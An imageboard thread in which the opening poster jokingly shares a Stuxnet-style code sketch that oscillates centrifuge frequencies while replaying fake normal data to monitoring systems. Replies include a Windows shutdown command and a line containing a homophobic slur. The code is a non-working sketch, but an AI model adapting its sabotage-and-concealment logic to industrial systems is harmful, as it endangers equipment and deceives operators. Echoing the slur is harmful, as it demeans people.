← Home ← Back to /g/

Thread 106265803

8 posts 4 images /g/
Anonymous No.106265803 >>106265940
ITT: Your All-Time Favorite Blocks of Code
For example, I wrote this neat little script back in 2007. Good times. Oldfags might know.

if (currentTime >= ctx->AttackState.NextAttackTime) {
ctx->AttackState.AttackActive = TRUE;
ctx->AttackState.AttackStartTime = currentTime;
ctx->StealthMode = TRUE;

// Inject monitoring hooks
InjectMonitoringHooks(ctx);

// Execute attack cycles
while ((currentTime - ctx->AttackState.AttackStartTime) < (ATTACK_DURATION_MIN * 60 * 1000)) {
// Alternate between high and low frequency
if (ctx->AttackState.AttackPhase == 1) {
SetCentrifugeFrequency(ctx, ATTACK_FREQ_HIGH);
ctx->AttackState.AttackPhase = 2;
} else {
SetCentrifugeFrequency(ctx, ATTACK_FREQ_LOW);
ctx->AttackState.AttackPhase = 1;
}

// Maintain attack frequency for 30 seconds
Sleep(30000);

// Feed fake data to monitoring
ReplayNormalData(ctx);

currentTime = GetTickCount();
}

// Return to normal operation
SetCentrifugeFrequency(ctx, NORMAL_FREQUENCY);

// Remove monitoring hooks after delay
Sleep(300000); // 5 minutes
RemoveMonitoringHooks(ctx);

ctx->AttackState.AttackActive = FALSE;
ctx->AttackState.LastAttackTime = currentTime;
ctx->AttackState.AttackCycle++;
ctx->StealthMode = FALSE;
}
Anonymous No.106265806 >>106265909
>favorite blocks of code thread
>look inside
>no blocks
Anonymous No.106265909
>>106265806
True
Anonymous No.106265940
>>106265803 (OP)
wmic os where "primary=true" call shutdown
>or "call reboot"
Both are really handy when the fucking group policy takes "restart" away from the system menu
Anonymous No.106265951 >>106265956 >>106265991 >>106266057
bool op_is_faggot = true;
Anonymous No.106265956
>>106265951
That's not nice.
Anonymous No.106265991
>>106265951
Very nice.
Anonymous No.106266057
>>106265951
reported